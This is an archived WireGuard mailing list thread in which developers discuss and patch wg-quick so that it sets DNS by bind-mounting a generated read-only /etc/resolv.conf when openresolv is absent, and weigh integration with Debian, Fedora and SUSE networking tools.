* Fixing wg-quick's DNS= directive with a hatchet @ 2017-10-25 22:43 Jason A. Donenfeld 2017-10-25 23:37 ` Kalin KOZHUHAROV ` (5 more replies) 0 siblings, 6 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-25 22:43 UTC (permalink / raw) To: WireGuard mailing list Hi, A sensible way to manage DNS on a distribution is via openresolv's resolvconf(8) [1]. Various networking utilities can call resolvconf with various arguments, and resolvconf will handle everything. Resolvconf offers two useful options: metric via -m and exclusive via -x. The metric options imply controls the order of entries in the subsequent /etc/resolv.conf. The exclusive option sets the provided nameserver to be the _only_ one listed in /etc/resolv.conf. This general system works great and is what wg-quick(8) uses at the moment. Debian (and by extension Ubuntu), however, ship with a butchered resolvconf [2] that silently ignores the -m and -x options. Instead, Debian's resolvconf orders the entries of /etc/resolv.conf according to some pre-defined interface naming heuristics, and does not allow for an exclusive mode at all. wg-quick thus uses openresolv's -m 0 and -x arguments, described above, but does so for an interface called "tun.wg0". The "tun." prefix tricks Debian's resolvconf into ordering WireGuard entries first, but still not exclusively. Meanwhile, Fedora does not ship resolvconf at all, and instead either uses NetworkManager or dhclient-script, depending on the configuration of a variable inside of some file in /etc/sysconfig/network-scripts/. I haven't really looked at how to coherently interface with all the possibilities, and I'm kind of reluctant to look. So I have three options: 1) require openresolv, 2) punt the issue to distro package managers, by making wg-quick "source" a file in /usr/lib/wg-quick/dns.bash that provides the distro-specific DNS-setting function, or 3) the hatchet, described below. Before I describe the hatchet, though, it might be worthwhile to remind ourselves of the three goals of DNS setting in this environment: a) be the exclusive DNS entry, b) restore the previous settings when the wireguard interface is removed, and c) not allow other things on the system (like roving dhcp daemons) to overwrite our settings. The hatchet works as follows. On interface addition: # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0 # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf # unlink /etc/resolv.conf.wg-quick.wg0 On interface removal: # umount /etc/resolv.conf This achieves all goals. Goal (a) is achieved because we're mounting over the existing /etc/resolv.conf, so we blow away old entries. Goal (b) is achieved because unmounting reveals the original file just below it. Goal (c) is achieved because we're mounting as read-only; we can't even remove the file without unmounting. So, I'm leaning over going with (3) the hatchet rather than (2) the distros, because I think this will likely work more universally. However, it's a hatchet. And hatchets have sharp dangerous blades, and Linux is not the rewarding bush terrain of Gary Paulsen. Can anybody think of any potential issues with this? Thanks, Jason [1] https://roy.marples.name/projects/openresolv [2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=860564 ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld @ 2017-10-25 23:37 ` Kalin KOZHUHAROV 2017-10-26 0:55 ` Jason A. Donenfeld 2017-10-26 1:32 ` [PATCH] wg-quick: use bind mount for DNS when no openresolv Jason A. Donenfeld ` (4 subsequent siblings) 5 siblings, 1 reply; 40+ messages in thread From: Kalin KOZHUHAROV @ 2017-10-25 23:37 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list On Thu, Oct 26, 2017 at 12:43 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote: > The hatchet works as follows. On interface addition: > > # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0 > # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf > # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf > # unlink /etc/resolv.conf.wg-quick.wg0 > > On interface removal: > > # umount /etc/resolv.conf > O, I love it! (didn't know you can --bind mount to a file, BTW) I am sure someone will scream along the way, so jut document it and put a short notice in a comment inside /etc/resolv.conf as to what is going on. And make it optional for people who (pretend to) have control over their systems. And can you briefly remind me why do you need to bother with the resolv settings? May be this is only valid for "use-only-VPN", e.g. laptop in China? > Can anybody think of any potential issues with this? > * See if there is another mount, before doing it, i.e. check for the hatchet before using it? * Not sure anyone will hit the corner case of needing to umount /etc while wireguard is running, but who knows. Cheers, Kalin. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-25 23:37 ` Kalin KOZHUHAROV @ 2017-10-26 0:55 ` Jason A. Donenfeld 0 siblings, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 0:55 UTC (permalink / raw) To: Kalin KOZHUHAROV; +Cc: WireGuard mailing list On Thu, Oct 26, 2017 at 1:37 AM, Kalin KOZHUHAROV <me.kalin@gmail.com> wrote: > And can you briefly remind me why do you need to bother with the > resolv settings? > May be this is only valid for "use-only-VPN", e.g. laptop in China? Sometimes people use a VPN to access an intranet with its own naming scheme. For example, when you're at my house, if you do a DNS lookup for "thinkpad", you get my laptop. When I wireguard in from the road, sometimes I'll do things like `ssh odroid`, which uses my home resolver to get the home IP of my odroid. This is possible because I have `DNS = 10.0.0.8` or whatever in my wireguard config file. > * See if there is another mount, before doing it, i.e. check for the > hatchet before using it? I guess the idea here is that since unmounting can only be done in reverse order, yet removing interfaces can be done in any order, allowing multiply-stacked resolv.conf mounts would fail to unwind in the correct way. That makes sense. Fortunately, by calling `unlink(2)` on the file after I bind mount it, subsequent bind mounts on top fail to work, because they can't resolve that dentry any more. The underlying reasoning behind that is caught up in the insane fs/namespace.c voodoo magic that probably only Al Viro understands. > * Not sure anyone will hit the corner case of needing to umount /etc > while wireguard is running, but who knows. That's a good point. Another potential snag: - If other daemons try to update the old file while it's being mounted over, it won't be able to be updated, so when the user finally unmounts when removing the wireguard interface, the resolv.conf could be stale. Probably this isn't a real concern, but it is a possibility. ^ permalink raw reply [flat|nested] 40+ messages in thread
* [PATCH] wg-quick: use bind mount for DNS when no openresolv 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld 2017-10-25 23:37 ` Kalin KOZHUHAROV @ 2017-10-26 1:32 ` Jason A. Donenfeld 2017-10-26 1:53 ` Kalin KOZHUHAROV 2017-10-26 13:41 ` [PATCH v2] " Jason A. Donenfeld 2017-10-26 2:54 ` Fixing wg-quick's DNS= directive with a hatchet Eric Light ` (3 subsequent siblings) 5 siblings, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 1:32 UTC (permalink / raw) To: wireguard, Daniel Kahn Gillmor Posting this to the mailing list for review. Based on the thread entitled, "Fixing wg-quick's DNS= directive with a hatchet". Comments are very welcome. --- src/tools/wg-quick.bash | 28 +++++++++++++++++++++++++--- 1 file changed, 25 insertions(+), 3 deletions(-) diff --git a/src/tools/wg-quick.bash b/src/tools/wg-quick.bash index def78af..2fc19f1 100755 --- a/src/tools/wg-quick.bash +++ b/src/tools/wg-quick.bash @@ -131,11 +131,33 @@ set_mtu() { } set_dns() { - [[ ${#DNS[@]} -eq 0 ]] || printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "tun.$INTERFACE" -m 0 -x + [[ ${#DNS[@]} -gt 0 ]] || return 0 + + if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then + printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "$INTERFACE" -m 0 -x + else + local our_resolv="/etc/resolv.conf.wg-quick.$INTERFACE" + [[ -e /etc/resolv.conf ]] || touch /etc/resolv.conf + { echo "# This file was generated by wg-quick(8) for use with" + echo "# the WireGuard interface $INTERFACE. It cannot be" + echo "# removed or altered directly. You may remove this file" + echo "# by running \`wg-quick down $INTERFACE\`, or if that" + echo "# poses problems, run \`unmount /etc/resolv.conf\`." + printf 'nameserver %s\n' "${DNS[@]}" + } > "$our_resolv" + cmd mount -Br "$our_resolv" /etc/resolv.conf || { unlink "$our_resolv"; false; } + unlink "$our_resolv" + fi } unset_dns() { - [[ ${#DNS[@]} -eq 0 ]] || cmd resolvconf -d "tun.$INTERFACE" + [[ ${#DNS[@]} -gt 0 ]] || return 0 + + if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then + cmd resolvconf -d "$INTERFACE" + else + cmd umount /etc/resolv.conf + fi } add_route() { @@ -254,8 +276,8 @@ cmd_down() { [[ " $(wg show interfaces) " == *" $INTERFACE "* ]] || die "\`$INTERFACE' is not a WireGuard interface" execute_hooks "${PRE_DOWN[@]}" [[ $SAVE_CONFIG -eq 0 ]] || save_config - unset_dns del_if + unset_dns execute_hooks "${POST_DOWN[@]}" } -- 2.14.2 ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: [PATCH] wg-quick: use bind mount for DNS when no openresolv 2017-10-26 1:32 ` [PATCH] wg-quick: use bind mount for DNS when no openresolv Jason A. Donenfeld @ 2017-10-26 1:53 ` Kalin KOZHUHAROV 2017-10-26 1:54 ` Jason A. Donenfeld 2017-10-26 13:41 ` [PATCH v2] " Jason A. Donenfeld 1 sibling, 1 reply; 40+ messages in thread From: Kalin KOZHUHAROV @ 2017-10-26 1:53 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list Just nitpicking on your spellchecker... On Thu, Oct 26, 2017 at 3:32 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote: > + echo "# poses problems, run \`unmount /etc/resolv.conf\`." should be + echo "# poses problems, run \`umount /etc/resolv.conf\`." Kalin. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: [PATCH] wg-quick: use bind mount for DNS when no openresolv 2017-10-26 1:53 ` Kalin KOZHUHAROV @ 2017-10-26 1:54 ` Jason A. Donenfeld 0 siblings, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 1:54 UTC (permalink / raw) To: Kalin KOZHUHAROV; +Cc: WireGuard mailing list On Thu, Oct 26, 2017 at 3:53 AM, Kalin KOZHUHAROV <me.kalin@gmail.com> wrote: > Just nitpicking on your spellchecker... Thanks! ^ permalink raw reply [flat|nested] 40+ messages in thread
* [PATCH v2] wg-quick: use bind mount for DNS when no openresolv 2017-10-26 1:32 ` [PATCH] wg-quick: use bind mount for DNS when no openresolv Jason A. Donenfeld 2017-10-26 1:53 ` Kalin KOZHUHAROV @ 2017-10-26 13:41 ` Jason A. Donenfeld 1 sibling, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 13:41 UTC (permalink / raw) To: wireguard, Daniel Kahn Gillmor Version 2 uses the mount namespace trick, so that we don't leave anything dangling under any circumstances, and chroot envrionments still have the ability to bind mount /etc/resolv.conf to their chroots. --- src/tools/wg-quick.bash | 40 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/src/tools/wg-quick.bash b/src/tools/wg-quick.bash index def78af..b6903ec 100755 --- a/src/tools/wg-quick.bash +++ b/src/tools/wg-quick.bash @@ -83,6 +83,7 @@ add_if() { del_if() { local fwmark + [[ $HAVE_SET_DNS -eq 0 ]] || unset_dns fwmark="$(wg show "$INTERFACE" fwmark)" DEFAULT_TABLE=0 [[ $fwmark != off ]] && DEFAULT_TABLE=$(( fwmark )) @@ -130,12 +131,45 @@ set_mtu() { cmd ip link set mtu $(( mtu - 80 )) dev "$INTERFACE" } +HAVE_SET_DNS=0 set_dns() { - [[ ${#DNS[@]} -eq 0 ]] || printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "tun.$INTERFACE" -m 0 -x + [[ ${#DNS[@]} -gt 0 ]] || return 0 + + if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then + printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "$INTERFACE" -m 0 -x + else + echo "[#] mount \`${DNS[*]}' /etc/resolv.conf" >&2 + [[ -e /etc/resolv.conf ]] || touch /etc/resolv.conf + { cat <<-_EOF + # This file was generated by wg-quick(8) for use with + # the WireGuard interface $INTERFACE. It cannot be + # removed or altered directly. You may remove this file + # by running \`wg-quick down $INTERFACE', or if that + # poses problems, run \`umount /etc/resolv.conf'. + + _EOF + printf 'nameserver %s\n' "${DNS[@]}" + } | unshare -m --propagation shared bash -c "$(cat <<-_EOF + set -e + mount --make-private /tmp + mount -t tmpfs none /tmp + cat > /tmp/resolv.conf + mount -o remount,ro /tmp + mount -B /tmp/resolv.conf /etc/resolv.conf + _EOF + )" + fi + HAVE_SET_DNS=1 } unset_dns() { - [[ ${#DNS[@]} -eq 0 ]] || cmd resolvconf -d "tun.$INTERFACE" + [[ ${#DNS[@]} -gt 0 ]] || return 0 + + if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then + cmd resolvconf -d "$INTERFACE" + else + cmd umount /etc/resolv.conf + fi } add_route() { @@ -254,8 +288,8 @@ cmd_down() { [[ " $(wg show interfaces) " == *" $INTERFACE "* ]] || die "\`$INTERFACE' is not a WireGuard interface" execute_hooks "${PRE_DOWN[@]}" [[ $SAVE_CONFIG -eq 0 ]] || save_config - unset_dns del_if + unset_dns execute_hooks "${POST_DOWN[@]}" } -- 2.14.2 ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld 2017-10-25 23:37 ` Kalin KOZHUHAROV 2017-10-26 1:32 ` [PATCH] wg-quick: use bind mount for DNS when no openresolv Jason A. Donenfeld @ 2017-10-26 2:54 ` Eric Light 2017-10-26 3:21 ` Jason A. Donenfeld 2017-10-26 13:11 ` Jason A. Donenfeld ` (2 subsequent siblings) 5 siblings, 1 reply; 40+ messages in thread From: Eric Light @ 2017-10-26 2:54 UTC (permalink / raw) To: wireguard It looks ... really elegant to me. That said, it could end up being super confusing. I definitely second Kalin's comments about adding a comment header to /etc/resolv.conf.wg-quick.wg0 I was going to ask about unlinking, but you've addressed that in your follow-up. All that's left is for me to hat-tip your Paulsen reference. I still have that book at home, probably been 20 years since I've read it. Linux certainly has an abundance of porcupines buried in the terrain. E -------------------------------------------- Q: Why is this email five sentences or less? A: http://five.sentenc.es On Thu, 26 Oct 2017, at 11:43, Jason A. Donenfeld wrote: > Hi, > > A sensible way to manage DNS on a distribution is via openresolv's > resolvconf(8) [1]. Various networking utilities can call resolvconf > with various arguments, and resolvconf will handle everything. > > Resolvconf offers two useful options: metric via -m and exclusive via > -x. The metric options imply controls the order of entries in the > subsequent /etc/resolv.conf. The exclusive option sets the provided > nameserver to be the _only_ one listed in /etc/resolv.conf. This > general system works great and is what wg-quick(8) uses at the moment. > > Debian (and by extension Ubuntu), however, ship with a butchered > resolvconf [2] that silently ignores the -m and -x options. Instead, > Debian's resolvconf orders the entries of /etc/resolv.conf according > to some pre-defined interface naming heuristics, and does not allow > for an exclusive mode at all. wg-quick thus uses openresolv's -m 0 and > -x arguments, described above, but does so for an interface called > "tun.wg0". The "tun." prefix tricks Debian's resolvconf into ordering > WireGuard entries first, but still not exclusively. > > Meanwhile, Fedora does not ship resolvconf at all, and instead either > uses NetworkManager or dhclient-script, depending on the configuration > of a variable inside of some file in /etc/sysconfig/network-scripts/. > I haven't really looked at how to coherently interface with all the > possibilities, and I'm kind of reluctant to look. > > So I have three options: 1) require openresolv, 2) punt the issue to > distro package managers, by making wg-quick "source" a file in > /usr/lib/wg-quick/dns.bash that provides the distro-specific > DNS-setting function, or 3) the hatchet, described below. > > Before I describe the hatchet, though, it might be worthwhile to > remind ourselves of the three goals of DNS setting in this > environment: a) be the exclusive DNS entry, b) restore the previous > settings when the wireguard interface is removed, and c) not allow > other things on the system (like roving dhcp daemons) to overwrite our > settings. > > The hatchet works as follows. On interface addition: > > # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0 > # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf > # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf > # unlink /etc/resolv.conf.wg-quick.wg0 > > On interface removal: > > # umount /etc/resolv.conf > > This achieves all goals. Goal (a) is achieved because we're mounting > over the existing /etc/resolv.conf, so we blow away old entries. Goal > (b) is achieved because unmounting reveals the original file just > below it. Goal (c) is achieved because we're mounting as read-only; we > can't even remove the file without unmounting. > > So, I'm leaning over going with (3) the hatchet rather than (2) the > distros, because I think this will likely work more universally. > However, it's a hatchet. And hatchets have sharp dangerous blades, and > Linux is not the rewarding bush terrain of Gary Paulsen. > > Can anybody think of any potential issues with this? > > Thanks, > Jason > > > [1] https://roy.marples.name/projects/openresolv > [2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=860564 > _______________________________________________ > WireGuard mailing list > WireGuard@lists.zx2c4.com > https://lists.zx2c4.com/mailman/listinfo/wireguard ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 2:54 ` Fixing wg-quick's DNS= directive with a hatchet Eric Light @ 2017-10-26 3:21 ` Jason A. Donenfeld 0 siblings, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 3:21 UTC (permalink / raw) To: Eric Light; +Cc: WireGuard mailing list On Thu, Oct 26, 2017 at 4:54 AM, Eric Light <eric@ericlight.com> wrote: > It looks ... really elegant to me. That said, it could end up being > super confusing. I definitely second Kalin's comments about adding a > comment header to /etc/resolv.conf.wg-quick.wg0 I thought it was a good suggestion too, so I implemented it. Here's what it looks like: zx2c4@thinkpad ~ $ wg-quick up martino [#] ip link add martino type wireguard [#] wg setconf martino /dev/fd/63 [#] ip address add 10.10.11.100/32 dev martino [#] ip link set mtu 1420 dev martino [#] ip link set martino up [#] mount -Br /etc/resolv.conf.wg-quick.martino /etc/resolv.conf [#] wg set martino fwmark 51820 [#] ip -4 route add 0.0.0.0/0 dev martino table 51820 [#] ip -4 rule add not fwmark 51820 table 51820 [#] ip -4 rule add table main suppress_prefixlength 0 zx2c4@thinkpad ~ $ cat /etc/resolv.conf # This file was generated by wg-quick(8) for use with # the WireGuard interface martino. It cannot be # removed or altered directly. You may remove this file # by running `wg-quick down martino`, or if that # poses problems, run `umount /etc/resolv.conf`. nameserver 10.10.11.1 zx2c4@thinkpad ~ $ wg-quick down martino [#] ip -4 rule delete table 51820 [#] ip -4 rule delete table main suppress_prefixlength 0 [#] ip link delete dev martino [#] umount /etc/resolv.conf > All that's left is for me to hat-tip your Paulsen reference. I still > have that book at home, probably been 20 years since I've read it. > Linux certainly has an abundance of porcupines buried in the terrain. :) Must have read it at least ten times as a kid... ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld ` (2 preceding siblings ...) 2017-10-26 2:54 ` Fixing wg-quick's DNS= directive with a hatchet Eric Light @ 2017-10-26 13:11 ` Jason A. Donenfeld 2017-10-26 16:56 ` Joe Doss 2017-10-31 10:49 ` Jason A. Donenfeld 5 siblings, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 13:11 UTC (permalink / raw) To: WireGuard mailing list On Thu, Oct 26, 2017 at 12:43 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote: > The hatchet works as follows. On interface addition: > > # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0 > # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf > # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf > # unlink /etc/resolv.conf.wg-quick.wg0 > > On interface removal: > > # umount /etc/resolv.conf Alternative version: echo nameserver 1.2.3.4 | unshare -m --propagation shared sh -c "mount --make-private /tmp && mount -t tmpfs none /tmp && cat > /tmp/resolv.conf && mount -o remount,ro /tmp && mount -B /tmp/resolv.conf /etc/resolv.conf" This has the advantage of not using any disk temporary files or creating dangling inodes, and it means that users can still bind mount /etc/resolv.conf to other places, such as when they enter a chroot, which is usually important to allow. The one maybe disadvantage is that it still allows for people binding _on top_ of /etc/resolv.conf, which may or may not be a good thing. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-25 22:43 Fixing wg-quick's DNS= directive with a hatchet Jason A. Donenfeld ` (3 preceding siblings ...) 2017-10-26 13:11 ` Jason A. Donenfeld @ 2017-10-26 16:56 ` Joe Doss 2017-10-26 17:24 ` Jason A. Donenfeld 2017-10-26 21:22 ` Jason A. Donenfeld 2017-10-31 10:49 ` Jason A. Donenfeld 5 siblings, 2 replies; 40+ messages in thread From: Joe Doss @ 2017-10-26 16:56 UTC (permalink / raw) To: wireguard On 10/25/2017 05:43 PM, Jason A. Donenfeld wrote: > Meanwhile, Fedora does not ship resolvconf at all, and instead either > uses NetworkManager or dhclient-script, depending on the configuration > of a variable inside of some file in/etc/sysconfig/network-scripts/. > I haven't really looked at how to coherently interface with all the > possibilities, and I'm kind of reluctant to look. The most likely best long term solution for this problem, at least for Fedora (and other distros that use NetworkManager), is to create a WireGuard NetworkManager plugin similar to the OpenVPN plugin. https://src.fedoraproject.org/git/rpms/NetworkManager-openvpn.git https://git.gnome.org/browse/network-manager-openvpn This way we are not fighting with NetworkManager over control over the resolv.conf file and we integrate with the desktop well. The hatchet proposal sounds fine for a short term solution, but if WireGuard is to replace something like OpenVPN we will need to drink the distro koolaid on how VPN services are managed on the desktop. Joe -- Joe Doss joe@solidadmin.com ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 16:56 ` Joe Doss @ 2017-10-26 17:24 ` Jason A. Donenfeld 2017-10-26 21:22 ` Jason A. Donenfeld 1 sibling, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 17:24 UTC (permalink / raw) To: Joe Doss; +Cc: WireGuard mailing list, Max Moser Hi Joe, Indeed you're right. A systemd-networkd integration is in progress. A student (CCd) has several times promised to write a networkmanager plugin, but has continually flaked out, so still no progress there. If somebody else on this list is interested in doing that, that'd be nice. Jason ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 16:56 ` Joe Doss 2017-10-26 17:24 ` Jason A. Donenfeld @ 2017-10-26 21:22 ` Jason A. Donenfeld 2017-10-27 10:07 ` Martin Hauke 2017-10-27 14:47 ` Joe Doss 1 sibling, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-26 21:22 UTC (permalink / raw) To: Joe Doss, Martin Hauke, Daniel Kahn Gillmor; +Cc: WireGuard mailing list Hi Joe & Martin, The latest proposal for what we're discussing lives here: https://git.zx2c4.com/WireGuard/commit/?h=jd/dns-hatchet > The hatchet proposal sounds fine for a short term solution, The Debian maintainer of WireGuard has been talking me out of doing this. If I don't ship the hatchet, the solution will be: - Things work fine on arch/gentoo/nix/slackware/void/alpine/exherbo/freebsd/netbsd/normallinuxdistros. - DNS entries aren't exclusive but otherwise work on debian/ubuntu, if the debian resolvconf is installed rather than openresolv. - Everything is broken on Fedora (and OpenSUSE?), where there's no openresolv or resolvconf of any kind. In other words, the situation is split down the traditional lines of the linux distro political landscape. Most distros do the sensible thing. Debian does something bizarre and different but that is vaguely compatible though not entirely. Redhat holds out in favor of systemdnetworkmanagerblabla rather than going with the established standard. So, if I don't ship the hatchet, then I'll leave it to you to handle making things not totally fail in Fedora, as they do now. Is this okay? You could choose to fix this by just shipping the hatchet patch yourself. Or you could try to integrate things a bit deeper with whatever networkmanagersystemdresolveddhclientscript situation is being used there. (Probably the hatchet is a bit easier though.) What would you think of doing that? Regards, Jason ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 21:22 ` Jason A. Donenfeld @ 2017-10-27 10:07 ` Martin Hauke 2017-10-27 13:22 ` Jason A. Donenfeld 2017-10-27 14:47 ` Joe Doss 1 sibling, 1 reply; 40+ messages in thread From: Martin Hauke @ 2017-10-27 10:07 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list Hi Jason, On Thu, Oct 26, 2017 at 11:22:42PM +0200, Jason A. Donenfeld wrote: > The latest proposal for what we're discussing lives here: > https://git.zx2c4.com/WireGuard/commit/?h=jd/dns-hatchet > > > The hatchet proposal sounds fine for a short term solution, I also like this approach. > The Debian maintainer of WireGuard has been talking me out of doing > this. If I don't ship the hatchet, the solution will be: > > - Things work fine on > arch/gentoo/nix/slackware/void/alpine/exherbo/freebsd/netbsd/normallinuxdistros. > - DNS entries aren't exclusive but otherwise work on debian/ubuntu, if > the debian resolvconf is installed rather than openresolv. > - Everything is broken on Fedora (and OpenSUSE?), where there's no > openresolv or resolvconf of any kind. SUSE/openSUSE also does not ship resolvconf/openresolvconf so it's also affected. > In other words, the situation is split down the traditional lines of > the linux distro political landscape. Most distros do the sensible > thing. Debian does something bizarre and different but that is vaguely > compatible though not entirely. Redhat holds out in favor of > systemdnetworkmanagerblabla rather than going with the established > standard. SUSE has it's own system called netconfig for handling changes to the name resolution. https://github.com/openSUSE/sysconfig/blob/master/doc/README.netconfig https://github.com/openSUSE/sysconfig/blob/master/doc/netconfig.8 For the interface-handling SUSE is using wicked: https://github.com/openSUSE/wicked https://doc.opensuse.org/documentation/leap/reference/html/book.opensuse.reference/cha.basicnet.html#sec.basicnet.nameres https://www.suse.com/documentation/sles-12/book_sle_admin/data/sec_basicnet_manconf.html The long term solution should be a proper integration into these frameworks. That's also something on my personal TODO-list since some time :-) I also have to speak with some SUSE-people since I remember discussions some of the functions of netconfig should be replaced with someting else (maybe even systemd). > So, if I don't ship the hatchet, then I'll leave it to you to handle > making things not totally fail in Fedora, as they do now. Is this > okay? You could choose to fix this by just shipping the hatchet patch > yourself. Or you could try to integrate things a bit deeper with > whatever networkmanagersystemdresolveddhclientscript situation is > being used there. (Probably the hatchet is a bit easier though.) What > would you think of doing that? Shipping the hatchet will give the affected distributions some time for a proper distro-specific integration. best regards, Martin ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 10:07 ` Martin Hauke @ 2017-10-27 13:22 ` Jason A. Donenfeld 0 siblings, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-27 13:22 UTC (permalink / raw) To: Martin Hauke; +Cc: WireGuard mailing list Hi Martin, Specifically what I'm asking you is: would you be willing to ship the hatchet as a _patch_ to wg(8) just for your OpenSUSE package? Jason ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-26 21:22 ` Jason A. Donenfeld 2017-10-27 10:07 ` Martin Hauke @ 2017-10-27 14:47 ` Joe Doss 2017-10-27 14:51 ` Jason A. Donenfeld 1 sibling, 1 reply; 40+ messages in thread From: Joe Doss @ 2017-10-27 14:47 UTC (permalink / raw) To: Jason A. Donenfeld, Martin Hauke, Daniel Kahn Gillmor Cc: WireGuard mailing list On 10/26/2017 04:22 PM, Jason A. Donenfeld wrote: > So, if I don't ship the hatchet, then I'll leave it to you to handle > making things not totally fail in Fedora, as they do now. Is this > okay? You could choose to fix this by just shipping the hatchet patch > yourself. Or you could try to integrate things a bit deeper with > whatever networkmanagersystemdresolveddhclientscript situation is > being used there. (Probably the hatchet is a bit easier though.) What > would you think of doing that? I feel this is OK since any WG users at this point are going to accept their fate that not all features are going to work correctly. I would like to accept the networkmanagersystemdresolveddhclientscript physical challenge and try and see if there is some better way to integrate things in Fedora before having to ship patches in the RPM to shoehorn things in place. Joe -- Joe Doss joe@solidadmin.com ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 14:47 ` Joe Doss @ 2017-10-27 14:51 ` Jason A. Donenfeld 2017-10-27 15:02 ` Jason A. Donenfeld 2017-10-27 15:38 ` Joe Doss 0 siblings, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-27 14:51 UTC (permalink / raw) To: Joe Doss; +Cc: WireGuard mailing list On Fri, Oct 27, 2017 at 4:47 PM, Joe Doss <joe@solidadmin.com> wrote: > I feel this is OK since any WG users at this point are going to accept their > fate that not all features are going to work correctly. I would like to > accept the networkmanagersystemdresolveddhclientscript physical challenge > and try and see if there is some better way to integrate things in Fedora > before having to ship patches in the RPM to shoehorn things in place. So on one hand, you're fine with me shipping the hatchet, but you aren't [yet?] okay with the RPM-itself shipping the hatchet, because you'd like to find a more proper solution. This indicates to me that I shouldn't ship the hatchet myself then. You wrote, "WG users at this point are going to accept their fate that not all features are going to work correctly." Actually, no. Firstly, I'm not up for shipping broken software, and it's not okay with me to have distros ship things broken, because they think that's somehow fine and users will put up with it. Secondly, I've received enormous quantities of hate email from Fedora users, which is what's prompted this whole thread in the first place. So, no -- for the next snapshot packaging, I'd like for there to be a solution to make things work. If you can solve the physical challenge, great. If not, hatchet? ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 14:51 ` Jason A. Donenfeld @ 2017-10-27 15:02 ` Jason A. Donenfeld 2017-10-27 15:38 ` Joe Doss 2017-10-27 22:04 ` Bruno Wolff III 2017-10-27 15:38 ` Joe Doss 1 sibling, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-27 15:02 UTC (permalink / raw) To: Joe Doss; +Cc: WireGuard mailing list On Fri, Oct 27, 2017 at 4:51 PM, Jason A. Donenfeld <Jason@zx2c4.com> wrote: > Secondly, I've received enormous > quantities of hate email from Fedora users, which is what's prompted > this whole thread in the first place. Here's one from a few days ago if you're curious: > > wg-quick doesn't work in Fedora because resolvconf command not found. Your buggy bullshit sucks. > > - Rodney > I don't even... Are they serious? Who knows, but I've gotten a lot of these, some via IRC, some sent to team@wireguard.com. Kind of disheartening to receive, but at least their complaints, however rude, are something addressable with technical fixes. ^ permalink raw reply [flat|nested] 40+ 